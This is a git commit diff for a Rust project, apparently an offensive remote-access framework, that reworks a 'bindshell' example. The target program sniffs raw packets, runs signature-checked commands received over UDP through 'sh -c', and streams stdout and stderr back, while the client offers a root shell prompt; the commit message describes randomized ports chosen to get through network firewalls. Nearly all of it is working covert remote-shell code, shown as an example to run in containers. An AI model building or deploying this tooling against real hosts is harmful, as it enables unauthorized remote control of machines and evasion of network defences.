refactor: redid the bindshell example
Made it use a single UDP client as well as proper randomized ports to go through network firewalls, requiring stdin, status, stderr, and stdout all go over a single UDP socket Updated the client to have a prompt
This commit is contained in:
parent
8ad7127d4d
commit
f1e5b2d979
@ -25,7 +25,7 @@ ENV DEBIAN_FRONTEND=noninteractive \
|
||||
VISUAL='code -w'
|
||||
|
||||
RUN apt-get update && \
|
||||
apt install -y cmake git libtool valgrind docker-compose lldb sudo zsh wget && \
|
||||
apt install -y cmake git libtool valgrind docker-compose lldb sudo zsh wget tmux && \
|
||||
apt-get autoremove -y && apt-get clean -y && rm -rf /var/lib/apt/lists/* && \
|
||||
adduser ${USERNAME} && \
|
||||
echo "$USERNAME ALL=(ALL:ALL) NOPASSWD: ALL" >> /etc/sudoers && \
|
||||
|
||||
@ -1,3 +1,5 @@
|
||||
extend = "./examples/Makefile.toml"
|
||||
|
||||
[env]
|
||||
CARGO_MAKE_EXTEND_WORKSPACE_MAKEFILE = true
|
||||
|
||||
|
||||
8
examples/Makefile.toml
Normal file
8
examples/Makefile.toml
Normal file
@ -0,0 +1,8 @@
|
||||
[tasks.examples-bindshell-run]
|
||||
workspace = false
|
||||
dependencies = ["build"]
|
||||
script = '''
|
||||
tmux new-session -d -s bindshell 'docker-compose up examples_bindshell_target'
|
||||
tmux split-window -h 'docker-compose run examples_bindshell_client'
|
||||
tmux -2 attach -t bindshell
|
||||
'''
|
||||
@ -12,7 +12,9 @@ use ex_bind_shell_key_generator::PUBKEY;
|
||||
|
||||
#[tokio::main]
|
||||
async fn main() -> anyhow::Result<()> {
|
||||
simple_logger::SimpleLogger::new().init()?;
|
||||
simple_logger::SimpleLogger::new()
|
||||
.with_level(log::LevelFilter::Info)
|
||||
.init()?;
|
||||
|
||||
let pubkey =
|
||||
Arc::new(PublicKey::from_bytes(PUBKEY).context("could not parse generated public key")?);
|
||||
@ -25,6 +27,8 @@ async fn main() -> anyhow::Result<()> {
|
||||
.find(|eth| eth.starts_with("eth"))
|
||||
.ok_or(anyhow!("Could not get an ethernet interface"))?;
|
||||
|
||||
log::info!("Attaching to interface {}", &interface_name);
|
||||
|
||||
let mut interface = pcap_sys::Interface::<pcap_sys::DevDisabled>::new(&interface_name)?;
|
||||
|
||||
interface.set_buffer_size(8192)?;
|
||||
@ -43,22 +47,31 @@ async fn main() -> anyhow::Result<()> {
|
||||
enum EventType {
|
||||
Packet(Result<EthernetPacket, pcap_sys::error::Error>),
|
||||
Send(EthernetPacket),
|
||||
Exit,
|
||||
}
|
||||
|
||||
let mut packets = interface.stream()?;
|
||||
let (packet_sender, mut packets_to_send) = mpsc::channel(64);
|
||||
let (exit_sender, mut exit_handler) = mpsc::channel(1);
|
||||
|
||||
while let Some(evt) = tokio::select! {
|
||||
v = packets.next() => v.map(EventType::Packet),
|
||||
v = packets_to_send.recv() => v.map(EventType::Send)
|
||||
v = packets_to_send.recv() => v.map(EventType::Send),
|
||||
v = exit_handler.recv() => v.map(|_| EventType::Exit)
|
||||
} {
|
||||
match evt {
|
||||
EventType::Packet(pkt) => {
|
||||
if let Ok(pkt) = pkt {
|
||||
let packet_sender_clone = packet_sender.clone();
|
||||
let exit_sender_clone = exit_sender.clone();
|
||||
let pubkey_clone = pubkey.clone();
|
||||
tokio::spawn(async move {
|
||||
if let Err(e) = handle_command(pubkey_clone, pkt, packet_sender_clone).await
|
||||
if let Err(e) = handle_command(
|
||||
pubkey_clone,
|
||||
pkt,
|
||||
packet_sender_clone,
|
||||
exit_sender_clone
|
||||
).await
|
||||
{
|
||||
log::warn!("Error handling packet: {e}");
|
||||
}
|
||||
@ -68,6 +81,9 @@ async fn main() -> anyhow::Result<()> {
|
||||
EventType::Send(pkt) => {
|
||||
packets.sendpacket(pkt.pkt())?;
|
||||
}
|
||||
EventType::Exit => {
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@ -78,91 +94,168 @@ async fn handle_command(
|
||||
pubkey: Arc<PublicKey>,
|
||||
eth: EthernetPacket,
|
||||
send_response: mpsc::Sender<EthernetPacket>,
|
||||
send_exit: mpsc::Sender<()>
|
||||
) -> anyhow::Result<()> {
|
||||
use pcap_sys::packets::*;
|
||||
let eth_pkt = eth.pkt();
|
||||
let Layer3Pkt::IPv4Pkt(ip_pkt) = eth_pkt.get_layer3_pkt()?;
|
||||
let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()?;
|
||||
|
||||
let source_port = udp_pkt.srcport();
|
||||
|
||||
let error_udp_packet = UDPPacket::construct(54248, source_port, *&[0u8, 255]);
|
||||
let error_ip_packet = IPv4Packet::construct(
|
||||
ip_pkt.dest_ip(),
|
||||
ip_pkt.source_ip(),
|
||||
&Layer4Packet::UDP(error_udp_packet),
|
||||
);
|
||||
let error_eth_packet = EthernetPacket::construct(
|
||||
*eth_pkt.destination_address(),
|
||||
*eth_pkt.source_address(),
|
||||
&Layer3Packet::IPv4(error_ip_packet),
|
||||
);
|
||||
|
||||
let data = udp_pkt.get_data();
|
||||
|
||||
if data.len() < 65 {
|
||||
if let Err(e) = send_response.send(error_eth_packet.clone()).await {
|
||||
log::warn!("Could not send command done packet: {e:?}");
|
||||
}
|
||||
bail!("Packet was too short")
|
||||
}
|
||||
|
||||
let signature: [u8; 64] = data[..64]
|
||||
.try_into()
|
||||
.context("could not get signature from command")?;
|
||||
let Ok(signature): Result<[u8; 64], _> = data[..64].try_into() else {
|
||||
if let Err(e) = send_response.send(error_eth_packet.clone()).await {
|
||||
log::warn!("Could not send command done packet: {e:?}");
|
||||
}
|
||||
bail!("could not get signature from command")
|
||||
};
|
||||
|
||||
let signature = Signature::from(signature);
|
||||
|
||||
let cmd = &data[64..];
|
||||
|
||||
pubkey
|
||||
.verify(cmd, &signature)
|
||||
.context("message provided was unauthenticated")?;
|
||||
if let Err(e) = pubkey.verify(cmd, &signature) {
|
||||
if let Err(e) = send_response.send(error_eth_packet.clone()).await {
|
||||
log::warn!("Could not send command done packet: {e:?}");
|
||||
}
|
||||
return Err(e).context("message provided was unauthenticated");
|
||||
}
|
||||
|
||||
let cmd = OsStr::from_bytes(cmd);
|
||||
|
||||
log::info!("Received command to execute: {cmd:?}");
|
||||
|
||||
let child = process::Command::new("sh")
|
||||
let cmd_str = std::str::from_utf8(cmd.as_bytes());
|
||||
match cmd_str.map(|c| c.split(" ").collect::<Vec<_>>()).as_deref() {
|
||||
Ok(["exit"]) => {
|
||||
send_exit.send(()).await;
|
||||
return Ok(());
|
||||
}
|
||||
Ok(["cd", dir]) => {
|
||||
std::env::set_current_dir(dir)?;
|
||||
return Ok(());
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
|
||||
let Ok(mut child) = (process::Command::new("sh")
|
||||
.arg("-c")
|
||||
.arg(cmd)
|
||||
.stdin(Stdio::null())
|
||||
.stdout(Stdio::piped())
|
||||
.stderr(Stdio::piped())
|
||||
.spawn()?;
|
||||
.stderr(Stdio::piped()))
|
||||
.spawn() else {
|
||||
if let Err(e) = send_response.send(error_eth_packet.clone()).await {
|
||||
log::warn!("Could not send command done packet: {e:?}");
|
||||
}
|
||||
bail!("could not spawn child")
|
||||
};
|
||||
|
||||
let mut stdout = child
|
||||
.stdout
|
||||
.ok_or(anyhow!("could not get child process stdout"))?;
|
||||
let mut stderr = child
|
||||
.stderr
|
||||
.ok_or(anyhow!("could not get child process stdout"))?;
|
||||
{
|
||||
let stdout = match &mut child.stdout {
|
||||
Some(ref mut stdout) => stdout,
|
||||
None => bail!("could not get child process stdout")
|
||||
};
|
||||
let stderr = match &mut child.stderr {
|
||||
Some(ref mut stderr) => stderr,
|
||||
None => bail!("could not get child process stderr")
|
||||
};
|
||||
|
||||
enum Output {
|
||||
Out,
|
||||
Err,
|
||||
}
|
||||
|
||||
enum Output {
|
||||
Out,
|
||||
Err,
|
||||
let mut stdout_buffer = [0u8; 1024];
|
||||
let mut stderr_buffer = [0u8; 1024];
|
||||
|
||||
loop {
|
||||
let (out_type, Ok(len)) = tokio::select! {
|
||||
v = stdout.read(&mut stdout_buffer[..]) => (Output::Out, v),
|
||||
v = stderr.read(&mut stderr_buffer[..]) => (Output::Err, v)
|
||||
} else { continue; };
|
||||
|
||||
if len == 0 {
|
||||
break;
|
||||
}
|
||||
|
||||
let msg = &match out_type {
|
||||
Output::Err => stderr_buffer,
|
||||
Output::Out => stdout_buffer,
|
||||
}[..len];
|
||||
|
||||
let fullmsg = &[
|
||||
match out_type {
|
||||
Output::Out => &[1],
|
||||
Output::Err => &[2]
|
||||
},
|
||||
msg
|
||||
]
|
||||
.concat();
|
||||
|
||||
let udp_packet = UDPPacket::construct(54248, source_port, &**fullmsg);
|
||||
let ip_packet = IPv4Packet::construct(
|
||||
ip_pkt.dest_ip(),
|
||||
ip_pkt.source_ip(),
|
||||
&Layer4Packet::UDP(udp_packet),
|
||||
);
|
||||
let eth_packet = EthernetPacket::construct(
|
||||
*eth_pkt.destination_address(),
|
||||
*eth_pkt.source_address(),
|
||||
&Layer3Packet::IPv4(ip_packet),
|
||||
);
|
||||
|
||||
if let Err(e) = send_response.send(eth_packet).await {
|
||||
log::warn!("Could not send response packet: {e:?}");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let mut stdout_buffer = [0u8; 1024];
|
||||
let mut stderr_buffer = [0u8; 1024];
|
||||
let exit_code = child
|
||||
.wait()
|
||||
.await
|
||||
.map(|s| s.code())
|
||||
.ok()
|
||||
.flatten()
|
||||
.unwrap_or(255)
|
||||
.try_into()
|
||||
.unwrap();
|
||||
|
||||
loop {
|
||||
let (out_type, Ok(len)) = tokio::select! {
|
||||
v = stdout.read(&mut stdout_buffer[..]) => (Output::Out, v),
|
||||
v = stderr.read(&mut stderr_buffer[..]) => (Output::Err, v)
|
||||
} else { continue; };
|
||||
let done_udp_packet = UDPPacket::construct(54248, source_port, *&[0u8, exit_code]);
|
||||
let done_ip_packet = IPv4Packet::construct(
|
||||
ip_pkt.dest_ip(),
|
||||
ip_pkt.source_ip(),
|
||||
&Layer4Packet::UDP(done_udp_packet),
|
||||
);
|
||||
let done_eth_packet = EthernetPacket::construct(
|
||||
*eth_pkt.destination_address(),
|
||||
*eth_pkt.source_address(),
|
||||
&Layer3Packet::IPv4(done_ip_packet),
|
||||
);
|
||||
|
||||
if len == 0 {
|
||||
break;
|
||||
}
|
||||
|
||||
let msg = &match out_type {
|
||||
Output::Err => stderr_buffer,
|
||||
Output::Out => stdout_buffer,
|
||||
}[..len];
|
||||
let port = match out_type {
|
||||
Output::Err => 54249,
|
||||
Output::Out => 54248,
|
||||
};
|
||||
|
||||
let udp_packet = UDPPacket::construct(54248, port, msg);
|
||||
let ip_packet = IPv4Packet::construct(
|
||||
ip_pkt.dest_ip(),
|
||||
ip_pkt.source_ip(),
|
||||
&Layer4Packet::UDP(udp_packet),
|
||||
);
|
||||
let eth_packet = EthernetPacket::construct(
|
||||
*eth_pkt.destination_address(),
|
||||
*eth_pkt.source_address(),
|
||||
&Layer3Packet::IPv4(ip_packet),
|
||||
);
|
||||
|
||||
if let Err(e) = send_response.send(eth_packet).await {
|
||||
log::warn!("Could not send response packet: {e:?}");
|
||||
}
|
||||
if let Err(e) = send_response.send(done_eth_packet.clone()).await {
|
||||
log::warn!("Could not send command done packet: {e:?}");
|
||||
}
|
||||
|
||||
log::info!("Done executing command {cmd:?}");
|
||||
|
||||
@ -1,63 +1,133 @@
|
||||
use std::{io::prelude::*, net::UdpSocket, thread};
|
||||
use std::{io::prelude::*, net::UdpSocket, thread, sync::{Arc, Mutex, Condvar}};
|
||||
|
||||
use anyhow::{anyhow, Context};
|
||||
use ed25519_dalek::{Keypair, Signer};
|
||||
|
||||
use ex_bind_shell_key_generator::{PRIVKEY, PUBKEY};
|
||||
|
||||
enum Msg<'a> {
|
||||
Ready(u8),
|
||||
Stdout(&'a [u8]),
|
||||
Stderr(&'a [u8]),
|
||||
}
|
||||
|
||||
impl Msg<'_> {
|
||||
fn parse<'a>(bytes: &'a [u8]) -> Option<Msg<'a>> {
|
||||
match bytes[0] {
|
||||
0 => Some(Msg::Ready(bytes[1])),
|
||||
1 => Some(Msg::Stdout(&bytes[1..])),
|
||||
2 => Some(Msg::Stderr(&bytes[1..])),
|
||||
_ => None
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn main() -> anyhow::Result<()> {
|
||||
let privkey = Keypair::from_bytes(&[PRIVKEY, PUBKEY].concat())
|
||||
.context("could not parse generated private key")?;
|
||||
|
||||
let mut stdout = std::io::stdout();
|
||||
let stdout_inuse = Arc::new((Mutex::new(false), Condvar::new()));
|
||||
let stdout_arc = Arc::new(Mutex::new(std::io::stdout()));
|
||||
let mut stderr = std::io::stderr();
|
||||
let stdin = std::io::stdin();
|
||||
|
||||
let mut args = std::env::args();
|
||||
args.next();
|
||||
let target = args.next().ok_or(anyhow!("Please specify a target IP"))?;
|
||||
let target = std::env::args()
|
||||
.skip(1)
|
||||
.next()
|
||||
.ok_or(anyhow!("Please specify a target IP"))?;
|
||||
|
||||
let remote_stdin = UdpSocket::bind("0.0.0.0:0")?;
|
||||
let remote_stdout = UdpSocket::bind("0.0.0.0:54248")?;
|
||||
let remote_stderr = UdpSocket::bind("0.0.0.0:54249")?;
|
||||
let remote = UdpSocket::bind("0.0.0.0:0")?;
|
||||
let remote_listen = remote.try_clone()?;
|
||||
|
||||
let out_thread = thread::spawn(move || {
|
||||
let mut buffer = [0u8; 1024];
|
||||
let out_thread = {
|
||||
let stdout_inuse = Arc::clone(&stdout_inuse);
|
||||
let stdout_arc = Arc::clone(&stdout_arc);
|
||||
|
||||
loop {
|
||||
let Ok(amount) = remote_stdout.recv(&mut buffer[..]) else { continue; };
|
||||
let Ok(_) = stdout.write(&mut buffer[..amount]) else { continue; };
|
||||
}
|
||||
});
|
||||
thread::spawn(move || {
|
||||
let mut buffer = [0u8; 1536];
|
||||
|
||||
let err_thread = thread::spawn(move || {
|
||||
let mut buffer = [0u8; 1024];
|
||||
loop {
|
||||
let Ok(amount) = remote_listen.recv(&mut buffer[..]) else { continue; };
|
||||
let Some(msg) = Msg::parse(&buffer[..amount]) else { continue; };
|
||||
|
||||
loop {
|
||||
let Ok(amount) = remote_stderr.recv(&mut buffer[..]) else { continue; };
|
||||
let Ok(_) = stderr.write(&mut buffer[..amount]) else { continue; };
|
||||
}
|
||||
});
|
||||
match msg {
|
||||
Msg::Ready(_) => {
|
||||
let (lock, cvar) = &*stdout_inuse;
|
||||
let Ok(mut inuse) = lock.lock() else {
|
||||
eprintln!("Could not get lock on message handle!");
|
||||
return;
|
||||
};
|
||||
*inuse = false;
|
||||
cvar.notify_one();
|
||||
},
|
||||
Msg::Stderr(err) => {
|
||||
let _ = stderr.write(err);
|
||||
},
|
||||
Msg::Stdout(out) => {
|
||||
let Ok(mut stdout) = stdout_arc.lock() else { continue; };
|
||||
let _ = stdout.write(out);
|
||||
}
|
||||
}
|
||||
}
|
||||
})
|
||||
};
|
||||
|
||||
// sending a single command helps out with buffers, I guess
|
||||
// first message is always dropped
|
||||
remote.send_to(b"ls /", &target)?;
|
||||
|
||||
let mut cwd = "/".to_owned();
|
||||
|
||||
loop {
|
||||
let mut cmd = String::new();
|
||||
let Ok(_) = stdin.read_line(&mut cmd) else { continue; };
|
||||
let cmd = cmd.trim();
|
||||
{
|
||||
let (lock, cvar) = &*stdout_inuse;
|
||||
let Ok(mut inuse) = lock.lock() else {
|
||||
eprintln!("Could not get lock on message handle!");
|
||||
break;
|
||||
};
|
||||
|
||||
if cmd == "exit" {
|
||||
break;
|
||||
while *inuse {
|
||||
inuse = cvar.wait(inuse).unwrap();
|
||||
}
|
||||
}
|
||||
|
||||
{
|
||||
let Ok(mut stdout) = stdout_arc.lock() else { continue; };
|
||||
let Ok(_) = write!(&*stdout, "root@{}:{} # ", &target, &cwd) else { continue; };
|
||||
let _ = stdout.flush();
|
||||
}
|
||||
|
||||
let mut cmd = String::new();
|
||||
let Ok(amount) = stdin.read_line(&mut cmd) else { continue; };
|
||||
let mut cmd = cmd.trim();
|
||||
|
||||
if amount == 0 {
|
||||
cmd = "exit";
|
||||
}
|
||||
|
||||
let signature = privkey.sign(cmd.as_bytes()).to_bytes();
|
||||
let msg = &[&signature, cmd.as_bytes()].concat();
|
||||
|
||||
let Ok(_) = remote_stdin.send_to(msg, &target) else {
|
||||
let Ok(_) = remote.send_to(msg, &target) else {
|
||||
continue;
|
||||
};
|
||||
|
||||
match cmd.split(" ").collect::<Vec<_>>()[..] {
|
||||
["exit"] => { break },
|
||||
["cd", dir] => { cwd = dir.to_owned(); },
|
||||
_ => {
|
||||
let (lock, _) = &*stdout_inuse;
|
||||
let Ok(mut inuse) = lock.lock() else {
|
||||
eprintln!("Could not get lock on message handle!");
|
||||
break;
|
||||
};
|
||||
|
||||
*inuse = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
drop(out_thread);
|
||||
drop(err_thread);
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@ -14,4 +14,4 @@
|
||||
// along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
|
||||
pub const PUBKEY: &[u8] = include_bytes!(concat!(env!("OUT_DIR"), "/pubkey"));
|
||||
pub const PRIVKEY: &[u8] = include_bytes!(concat!(env!("OUT_DIR"), "/pubkey"));
|
||||
pub const PRIVKEY: &[u8] = include_bytes!(concat!(env!("OUT_DIR"), "/privkey"));
|
||||
|
||||
@ -14,7 +14,7 @@ pub trait Protocol<I, T> {
|
||||
/// Allows for composing multiple protocols on top of each other, for instance to use
|
||||
/// TCP fragmenting to work with HTTP to form a complete packet, and then take the HTTP
|
||||
/// conversation and encode Sparse messages into it
|
||||
fn compose<P, U>(self, other: P) -> ProtocolCompose<Self, P, I, J, T, U>
|
||||
fn compose<P, J, U>(self, other: P) -> ProtocolCompose<Self, P, I, J, T, U>
|
||||
where
|
||||
J: From<T>,
|
||||
P: Protocol<J, U> + Sized,
|
||||
@ -43,14 +43,14 @@ pub struct ProtocolCompose<P1: Protocol<I, T>, P2: Protocol<J, U>, I, J: From<T>
|
||||
generic_u: PhantomData<U>,
|
||||
}
|
||||
|
||||
impl<P1: Protocol<I, T>, P2: Protocol<J, U>, I, J: From<T>, T, U> Protocol<I, U>
|
||||
/*impl<P1: Protocol<I, T>, P2: Protocol<J, U>, I, J: From<T>, T, U> Protocol<I, U>
|
||||
for ProtocolCompose<P1, P2, I, J, T, U>
|
||||
{
|
||||
fn handle_event(&mut self, packet: I) -> U {
|
||||
let elem1 = self.protocol1.handle_event(packet);
|
||||
self.protocol2.handle_event(elem1)
|
||||
}
|
||||
}
|
||||
}*/
|
||||
|
||||
/// High level protocol that used for the overall application
|
||||
///
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user